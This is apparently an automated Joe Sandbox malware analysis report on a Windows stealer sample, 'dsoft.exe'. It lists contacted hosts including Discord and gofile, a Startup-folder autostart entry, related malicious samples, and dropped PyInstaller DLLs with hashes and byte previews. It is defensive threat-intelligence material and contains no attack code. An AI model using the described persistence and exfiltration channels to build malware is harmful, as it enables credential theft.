                                                                                                                                                        IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                        162.159.138.232
                                                                                                                                                        		discord.comUnited States
                                                                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                                                                        45.112.123.126
                                                                                                                                                        		api.gofile.ioSingapore
                                                                                                                                                        		16509AMAZON-02USfalse
                                                                                                                                                        104.26.13.205
                                                                                                                                                        		api.ipify.orgUnited States
                                                                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                                                                        159.89.102.253
                                                                                                                                                        		geolocation-db.comUnited States
                                                                                                                                                        		14061DIGITALOCEAN-ASNUSfalse
                                                                                                                                                        31.14.70.245
                                                                                                                                                        		store4.gofile.ioVirgin Islands (BRITISH)
                                                                                                                                                        		199483LINKER-ASFRfalse

                                                                                                                                                        Private

                                                                                                                                                        IP
                                                                                                                                                        127.0.0.1

                                                                                                                                                        General Information

                                                                                                                                                        Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                        Analysis ID:1582061
                                                                                                                                                        Start date and time:2024-12-29 20:01:07 +01:00
                                                                                                                                                        Joe Sandbox product:CloudBasic
                                                                                                                                                        Overall analysis duration:0h 11m 13s
                                                                                                                                                        Hypervisor based Inspection enabled:false
                                                                                                                                                        Report type:full
                                                                                                                                                        Cookbook file name:default.jbs
                                                                                                                                                        Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                        Number of analysed new started processes analysed:51
                                                                                                                                                        Number of new started drivers analysed:0
                                                                                                                                                        Number of existing processes analysed:0
                                                                                                                                                        Number of existing drivers analysed:0
                                                                                                                                                        Number of injected processes analysed:0
                                                                                                                                                        Technologies:
                                                                                                                                                        • HCA enabled
                                                                                                                                                        • EGA enabled
                                                                                                                                                        • AMSI enabled
                                                                                                                                                        Analysis Mode:default
                                                                                                                                                        Analysis stop reason:Timeout
                                                                                                                                                        Sample name:dsoft.exe
                                                                                                                                                        Detection:MAL
                                                                                                                                                        Classification:mal92.troj.adwa.spyw.winEXE@81/183@5/6
                                                                                                                                                        EGA Information:Failed
                                                                                                                                                        HCA Information:Failed
                                                                                                                                                        Cookbook Comments:
                                                                                                                                                        • Found application associated with file extension: .exe

                                                                                                                                                        Warnings

                                                                                                                                                        • Exclude process from analysis (whitelisted): WMIADAP.exe
                                                                                                                                                        • Excluded IPs from analysis (whitelisted): 20.231.128.66, 20.190.181.23, 20.190.181.0, 40.126.53.6, 40.126.53.15, 40.126.53.8, 40.126.53.10, 20.231.128.65, 20.12.23.50, 20.189.173.22, 20.242.39.171, 20.3.187.198, 13.107.246.63
                                                                                                                                                        • Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, slscr.update.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, dns.msftncsi.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, ocsp.edge.digicert.com, blobcollector.events.data.trafficmanager.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, umwatson.events.data.microsoft.com, wu-b-net.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
                                                                                                                                                        • Execution Graph export aborted for target dsoft.exe, PID 2248 because there are no executed function
                                                                                                                                                        • Execution Graph export aborted for target dsoft.exe, PID 6956 because there are no executed function
                                                                                                                                                        • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                        • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                        • Report size getting too big, too many NtEnumerateKey calls found.
                                                                                                                                                        • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                        • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                        • Report size getting too big, too many NtQueryVolumeInformationFile calls found.
                                                                                                                                                        • VT rate limit hit for: dsoft.exe

                                                                                                                                                        Simulations

                                                                                                                                                        Behavior and APIs

                                                                                                                                                        TimeTypeDescription
                                                                                                                                                        19:02:38AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe

                                                                                                                                                        Joe Sandbox View / Context

                                                                                                                                                        IPs

                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                        162.159.138.232DHL AWB-documents.lnkGet hashmaliciousDivulge StealerBrowse
                                                                                                                                                          http://mee6.xyzGet hashmaliciousUnknownBrowse
                                                                                                                                                            webhook.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                              chos.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                apDMcnqqWs.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                  Cooperative Agreement0000800380.docx.exeGet hashmaliciousBabadeda, Blank GrabberBrowse
                                                                                                                                                                    speedymaqing.exeGet hashmaliciousPython Stealer, Discord Token StealerBrowse
                                                                                                                                                                      RuntimeusererVers.exeGet hashmaliciousPython StealerBrowse
                                                                                                                                                                        file.exeGet hashmaliciousCStealerBrowse
                                                                                                                                                                          dens.exeGet hashmaliciousPython Stealer, Exela Stealer, Waltuhium GrabberBrowse
                                                                                                                                                                            45.112.123.126main.exeGet hashmaliciousPython Stealer, Discord Token Stealer, PRYSMAX STEALERBrowse
                                                                                                                                                                              main.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                urS3jQ9qb5.jarGet hashmaliciousCan StealerBrowse
                                                                                                                                                                                  urS3jQ9qb5.jarGet hashmaliciousCan StealerBrowse
                                                                                                                                                                                    stealer.jarGet hashmaliciousCan StealerBrowse
                                                                                                                                                                                      stealer.jarGet hashmaliciousCan StealerBrowse
                                                                                                                                                                                        chos.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                          file.exeGet hashmaliciousInvicta Stealer, XWormBrowse
                                                                                                                                                                                            Kameta Setup 1.0.0.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                              Pdf Reader.exeGet hashmaliciousStealeriumBrowse
                                                                                                                                                                                                104.26.13.205BiXS3FRoLe.exeGet hashmaliciousTrojanRansomBrowse
                                                                                                                                                                                                • api.ipify.org/
                                                                                                                                                                                                lEUy79aLAW.exeGet hashmaliciousTrojanRansomBrowse
                                                                                                                                                                                                • api.ipify.org/
                                                                                                                                                                                                Simple1.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • api.ipify.org/
                                                                                                                                                                                                2b7cu0KwZl.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • api.ipify.org/
                                                                                                                                                                                                file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • api.ipify.org/
                                                                                                                                                                                                file.exeGet hashmaliciousLummaC, PrivateLoader, Stealc, VidarBrowse
                                                                                                                                                                                                • api.ipify.org/
                                                                                                                                                                                                file.exeGet hashmaliciousLummaC, PrivateLoader, Stealc, VidarBrowse
                                                                                                                                                                                                • api.ipify.org/
                                                                                                                                                                                                file.exeGet hashmaliciousRDPWrap ToolBrowse
                                                                                                                                                                                                • api.ipify.org/
                                                                                                                                                                                                Prismifyr-Install.exeGet hashmaliciousNode StealerBrowse
                                                                                                                                                                                                • api.ipify.org/
                                                                                                                                                                                                file.exeGet hashmaliciousLummaC, PrivateLoader, Stealc, VidarBrowse
                                                                                                                                                                                                • api.ipify.org/

                                                                                                                                                                                                Domains

                                                                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                discord.comDHL AWB-documents.lnkGet hashmaliciousDivulge StealerBrowse
                                                                                                                                                                                                • 162.159.138.232
                                                                                                                                                                                                http://mee6.xyzGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 162.159.138.232
                                                                                                                                                                                                YF3YnL4ksc.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 162.159.136.232
                                                                                                                                                                                                YF3YnL4ksc.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 162.159.136.232
                                                                                                                                                                                                arm.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 162.159.137.232
                                                                                                                                                                                                webhook.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 162.159.138.232
                                                                                                                                                                                                zapret.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 162.159.136.232
                                                                                                                                                                                                Bloxflip Predictor.exeGet hashmaliciousNjratBrowse
                                                                                                                                                                                                • 162.159.137.232
                                                                                                                                                                                                chos.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 162.159.138.232
                                                                                                                                                                                                phost.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                                • 162.159.137.232
                                                                                                                                                                                                store4.gofile.iochos.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 31.14.70.245
                                                                                                                                                                                                Pdf Reader.exeGet hashmaliciousStealeriumBrowse
                                                                                                                                                                                                • 31.14.70.245
                                                                                                                                                                                                file.exeGet hashmaliciousLummaC, Go Injector, LummaC Stealer, SmokeLoaderBrowse
                                                                                                                                                                                                • 31.14.70.245
                                                                                                                                                                                                FpiUD4nYpj.exeGet hashmaliciousLummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRATBrowse
                                                                                                                                                                                                • 31.14.70.245
                                                                                                                                                                                                e9ddd60081c3e01d049dc4d5ed5f150afc27ffbbdb8b6adf558fa677ad8875dd_dump.exeGet hashmaliciousLummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRATBrowse
                                                                                                                                                                                                • 31.14.70.245
                                                                                                                                                                                                file.exeGet hashmaliciousLummaC, Go Injector, LummaC Stealer, SmokeLoaderBrowse
                                                                                                                                                                                                • 31.14.70.245
                                                                                                                                                                                                7Y18r(14).exeGet hashmaliciousLummaC, AsyncRAT, Bdaejec, Go Injector, LummaC Stealer, SmokeLoader, VenomRATBrowse
                                                                                                                                                                                                • 31.14.70.245
                                                                                                                                                                                                w85VkFOxiD.exeGet hashmaliciousPython Stealer, CStealer, NiceRAT, QuasarBrowse
                                                                                                                                                                                                • 31.14.70.245
                                                                                                                                                                                                9afaXJv52z.exeGet hashmaliciousExela StealerBrowse
                                                                                                                                                                                                • 31.14.70.245
                                                                                                                                                                                                NoBackend.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 31.14.70.245
                                                                                                                                                                                                bg.microsoft.map.fastly.netInstaller eSPT Masa PPh versi 2.0#U007e26022009.exeGet hashmaliciousBlackMoonBrowse
                                                                                                                                                                                                • 199.232.210.172
                                                                                                                                                                                                Installer eSPT Masa PPh versi 2.0#U007e26022009.exeGet hashmaliciousBlackMoonBrowse
                                                                                                                                                                                                • 199.232.214.172
                                                                                                                                                                                                SharcHack.exeGet hashmaliciousAdes Stealer, BlackGuard, NitroStealer, VEGA Stealer, XmrigBrowse
                                                                                                                                                                                                • 199.232.214.172
                                                                                                                                                                                                3KFFG52TBI.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 199.232.214.172
                                                                                                                                                                                                a2mNMrPxow.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 199.232.214.172
                                                                                                                                                                                                tzA45NGAW4.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 199.232.210.172
                                                                                                                                                                                                sYPORwmgwQ.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 199.232.214.172
                                                                                                                                                                                                New Upd v1.1.0.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                • 199.232.214.172
                                                                                                                                                                                                JA7cOAGHym.exeGet hashmaliciousVidarBrowse
                                                                                                                                                                                                • 199.232.214.172
                                                                                                                                                                                                wp.batGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 199.232.210.172
                                                                                                                                                                                                api.ipify.orgsoft 1.14.exeGet hashmaliciousMeduza StealerBrowse
                                                                                                                                                                                                • 104.26.13.205
                                                                                                                                                                                                markiz.exeGet hashmaliciousCredGrabber, Meduza StealerBrowse
                                                                                                                                                                                                • 104.26.13.205
                                                                                                                                                                                                utkin.exeGet hashmaliciousCredGrabber, Meduza StealerBrowse
                                                                                                                                                                                                • 172.67.74.152
                                                                                                                                                                                                https://www.canva.com/design/DAGaHpv1g1M/bVE7B2sT8b8T3P-e2xb64w/view?utm_content=DAGaHpv1g1M&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=h1ee3678e45Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                • 104.26.12.205
                                                                                                                                                                                                https://mandrillapp.com/track/click/30363981/app.salesforceiq.com?p=eyJzIjoiQ21jNldfVTIxTkdJZi1NQzQ1SGE3SXJFTW1RIiwidiI6MSwicCI6IntcInVcIjozMDM2Mzk4MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2FwcC5zYWxlc2ZvcmNlaXEuY29tXFxcL3I_dD1BRndoWmYwNjV0QlFRSnRiMVFmd1A1dC0tMHZnQkowaF9lYklFcTVLRlhTWHFVWmFpNUo4RlFTd1dycTkzR1FPbEFuczlLREd2VzRJQ2Z2eGo4WjVDSkQxUTlXdDVvME5XNWMwY0tIaXpVQWJ1YnBhT2dtS2pjVkxkaDFZWE8ybklsdFRlb2VQZ2dVTCZ0YXJnZXQ9NjMxZjQyMGVlZDEzY2EzYmNmNzdjMzI0JnVybD1odHRwczpcXFwvXFxcL21haW4uZDNxczBuMG9xdjNnN28uYW1wbGlmeWFwcC5jb21cIixcImlkXCI6XCI5ZTdkODJiNWQ0NzA0YWVhYTQ1ZjkxY2Y0ZTFmNGRiMFwiLFwidXJsX2lkc1wiOltcImY5ODQ5NWVhMjMyYTgzNjg1ODUxN2Y4ZTRiOTVjZjg4MWZlODExNmJcIl19In0Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 104.26.12.205
                                                                                                                                                                                                Ref#20203216.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                                • 104.26.13.205
                                                                                                                                                                                                tg.exeGet hashmaliciousBabadedaBrowse
                                                                                                                                                                                                • 172.67.74.152
                                                                                                                                                                                                tg.exeGet hashmaliciousBabadedaBrowse
                                                                                                                                                                                                • 104.26.12.205
                                                                                                                                                                                                setup.exeGet hashmaliciousBabadedaBrowse
                                                                                                                                                                                                • 104.26.13.205
                                                                                                                                                                                                QUOTATION#008792.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                                • 104.26.13.205

                                                                                                                                                                                                ASNs

                                                                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                CLOUDFLARENETUSsetup.msiGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 104.21.0.151
                                                                                                                                                                                                installer_1.05_36.5.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                • 172.67.208.58
                                                                                                                                                                                                EFT Payment_Transcript__Survitecgroup.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 104.18.26.193
                                                                                                                                                                                                @Setup.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                • 104.21.32.1
                                                                                                                                                                                                Lets-x64.exeGet hashmaliciousNitol, ZegostBrowse
                                                                                                                                                                                                • 104.21.81.224
                                                                                                                                                                                                KL-3.1.16.exeGet hashmaliciousNitol, ZegostBrowse
                                                                                                                                                                                                • 104.21.81.224
                                                                                                                                                                                                Whyet-4.9.exeGet hashmaliciousNitol, ZegostBrowse
                                                                                                                                                                                                • 104.21.81.224
                                                                                                                                                                                                GPU-Z.exeGet hashmaliciousLummaC, DarkTortilla, LummaC StealerBrowse
                                                                                                                                                                                                • 172.67.190.234
                                                                                                                                                                                                T1#U52a9#U624b1.0.1.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 172.64.150.63
                                                                                                                                                                                                Winter.mp4.htaGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                • 104.21.80.1
                                                                                                                                                                                                CLOUDFLARENETUSsetup.msiGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 104.21.0.151
                                                                                                                                                                                                installer_1.05_36.5.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                • 172.67.208.58
                                                                                                                                                                                                EFT Payment_Transcript__Survitecgroup.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 104.18.26.193
                                                                                                                                                                                                @Setup.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                • 104.21.32.1
                                                                                                                                                                                                Lets-x64.exeGet hashmaliciousNitol, ZegostBrowse
                                                                                                                                                                                                • 104.21.81.224
                                                                                                                                                                                                KL-3.1.16.exeGet hashmaliciousNitol, ZegostBrowse
                                                                                                                                                                                                • 104.21.81.224
                                                                                                                                                                                                Whyet-4.9.exeGet hashmaliciousNitol, ZegostBrowse
                                                                                                                                                                                                • 104.21.81.224
                                                                                                                                                                                                GPU-Z.exeGet hashmaliciousLummaC, DarkTortilla, LummaC StealerBrowse
                                                                                                                                                                                                • 172.67.190.234
                                                                                                                                                                                                T1#U52a9#U624b1.0.1.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 172.64.150.63
                                                                                                                                                                                                Winter.mp4.htaGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                • 104.21.80.1
                                                                                                                                                                                                DIGITALOCEAN-ASNUSsh4.elfGet hashmaliciousMirai, MoobotBrowse
                                                                                                                                                                                                • 159.89.214.117
                                                                                                                                                                                                http://track.rbfcu.org/y.z?l=https://google.com/amp/s/t.ly/5SpZS&r=14387614172&d=18473&p=2&t=hGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                • 104.248.15.35
                                                                                                                                                                                                http://track.rbfcu.org/y.z?l=https://google.com/amp/s/t.ly/5SpZS&r=14387614172&d=18473&p=2&t=hGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                • 104.248.15.35
                                                                                                                                                                                                xd.ppc.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                • 159.89.3.22
                                                                                                                                                                                                mark_v7.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 167.99.31.61
                                                                                                                                                                                                telnet.x86.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 138.68.169.173
                                                                                                                                                                                                armv7l.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                • 138.197.191.101
                                                                                                                                                                                                nabspc.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 46.101.240.213
                                                                                                                                                                                                arm.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 134.122.107.59
                                                                                                                                                                                                a1K847qsM0.exeGet hashmaliciousNjratBrowse
                                                                                                                                                                                                • 167.71.56.116
                                                                                                                                                                                                AMAZON-02USsh4.elfGet hashmaliciousMirai, MoobotBrowse
                                                                                                                                                                                                • 13.225.38.160
                                                                                                                                                                                                x86.elfGet hashmaliciousMirai, MoobotBrowse
                                                                                                                                                                                                • 176.34.6.240
                                                                                                                                                                                                m68k.elfGet hashmaliciousMirai, MoobotBrowse
                                                                                                                                                                                                • 108.151.215.53
                                                                                                                                                                                                EFT Payment_Transcript__Survitecgroup.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 52.211.89.170
                                                                                                                                                                                                letsVPN.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 18.136.139.158
                                                                                                                                                                                                letsVPN.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 13.227.9.24
                                                                                                                                                                                                Aqua.x86.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 54.171.230.55
                                                                                                                                                                                                mips64.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                • 54.171.230.55
                                                                                                                                                                                                bot.x86_64.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                                                                                                                                                                                                • 34.249.145.219
                                                                                                                                                                                                m68k.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                                                                                                                                                • 54.171.230.55

                                                                                                                                                                                                JA3 Fingerprints

                                                                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                74954a0c86284d0d6e1c4efefe92b521Canvas of Kings_N6xC-S2.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 31.14.70.245
                                                                                                                                                                                                Violated Heroine_91zbZ-1.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 31.14.70.245
                                                                                                                                                                                                58VSNPxrI4.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 31.14.70.245
                                                                                                                                                                                                676556be12ac3.vbsGet hashmaliciousMint StealerBrowse
                                                                                                                                                                                                • 31.14.70.245
                                                                                                                                                                                                PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.htaGet hashmaliciousMint StealerBrowse
                                                                                                                                                                                                • 31.14.70.245
                                                                                                                                                                                                9KEZfGRjyK.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 31.14.70.245
                                                                                                                                                                                                9KEZfGRjyK.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 31.14.70.245
                                                                                                                                                                                                Hkeyboard.dllGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 31.14.70.245
                                                                                                                                                                                                67618a47ee8c5.vbsGet hashmaliciousMint StealerBrowse
                                                                                                                                                                                                • 31.14.70.245
                                                                                                                                                                                                PKO_0019868519477_PDF_#U2462#U2465#U2461#U2465#U2467#U2464#U2464#U2466.htaGet hashmaliciousMint StealerBrowse
                                                                                                                                                                                                • 31.14.70.245

                                                                                                                                                                                                Dropped Files

                                                                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_ARC4.pydapp.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                  231210-10-Creal-33652f.exeGet hashmaliciousCreal StealerBrowse
                                                                                                                                                                                                    SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                      SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                        dll.dll.0.dllGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          dll.dll.0.dllGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                            explorer.exe.0.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                              00#U2800.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                prank.exeGet hashmaliciousDiscord Token StealerBrowse
                                                                                                                                                                                                                  SecuriteInfo.com.FileRepMalware.5539.23420.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_Salsa20.pydapp.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                      231210-10-Creal-33652f.exeGet hashmaliciousCreal StealerBrowse
                                                                                                                                                                                                                        SecuriteInfo.com.Win64.Evo-gen.30371.21664.exeGet hashmaliciousAkira StealerBrowse
                                                                                                                                                                                                                          SecuriteInfo.com.Win64.Evo-gen.30371.21664.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                            SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                              SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                dll.dll.0.dllGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                  dll.dll.0.dllGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                    explorer.exe.0.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                      00#U2800.exeGet hashmaliciousUnknownBrowse

                                                                                                                                                                                                                                        Created / dropped Files

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_ARC4.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):11264
                                                                                                                                                                                                                                        Entropy (8bit):4.6989965032233245
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:96:v9VD9daQ2iTrqT+y/ThvQ0I1uLfcC75JiC4Rs89EcYyGDPM0OcX6gY/7ECFV:39damqT3ThITst0E5DPKcqgY/79X
                                                                                                                                                                                                                                        MD5:56976443600793FF2302EE7634E496B3
                                                                                                                                                                                                                                        SHA1:018CE9250732A1794BBD0BDB8164061022B067AA
                                                                                                                                                                                                                                        SHA-256:10F461A94C3D616C19FF1A88DEC1EFEA5194F7150F5D490B38AC4E1B31F673DD
                                                                                                                                                                                                                                        SHA-512:A764C636D5D0B878B91DC61485E8699D7AA36F09AA1F0BD6AF33A8652098F28AEB3D7055008E56EBFC012BD3EA0868242A72E44DED0C83926F13D16866C31415
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Joe Sandbox View:
                                                                                                                                                                                                                                        • Filename: app.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: 231210-10-Creal-33652f.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: dll.dll.0.dll, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: dll.dll.0.dll, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: explorer.exe.0.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: 00#U2800.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: prank.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: SecuriteInfo.com.FileRepMalware.5539.23420.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........."...L...L...L......L.q.M...L..M...L...M...L.q.I...L.q.H...L.q.O...L...D...L...L...L.......L...N...L.Rich..L.........PE..d....y.e.........." ...#............P........................................p............`.........................................P(.......(..d....P.......@...............`..,...."...............................!..@............ ...............................text............................... ..`.rdata..,.... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......(..............@..@.reloc..,....`.......*..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_Salsa20.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):13824
                                                                                                                                                                                                                                        Entropy (8bit):5.047528837102683
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:SF/1nb2eqCQtkluknuz4ceS4QDuEA7cqgYvEP:o2P6luLtn4QDHmgYvEP
                                                                                                                                                                                                                                        MD5:30F13366926DDC878B6D761BEC41879E
                                                                                                                                                                                                                                        SHA1:4B98075CCBF72A6CBF882B6C5CADEF8DC6EC91DB
                                                                                                                                                                                                                                        SHA-256:19D5F8081552A8AAFE901601D1FF5C054869308CEF92D03BCBE7BD2BB1291F23
                                                                                                                                                                                                                                        SHA-512:BDCEC85915AB6EC1D37C1D36B075AE2E69AA638B80CD08971D5FDFD9474B4D1CF442ABF8E93AA991F5A8DCF6DB9D79FB67A9FE7148581E6910D9C952A5E166B4
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Joe Sandbox View:
                                                                                                                                                                                                                                        • Filename: app.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: 231210-10-Creal-33652f.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: SecuriteInfo.com.Win64.Evo-gen.30371.21664.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: SecuriteInfo.com.Win64.Evo-gen.30371.21664.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: dll.dll.0.dll, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: dll.dll.0.dll, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: explorer.exe.0.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: 00#U2800.exe, Detection: malicious, Browse
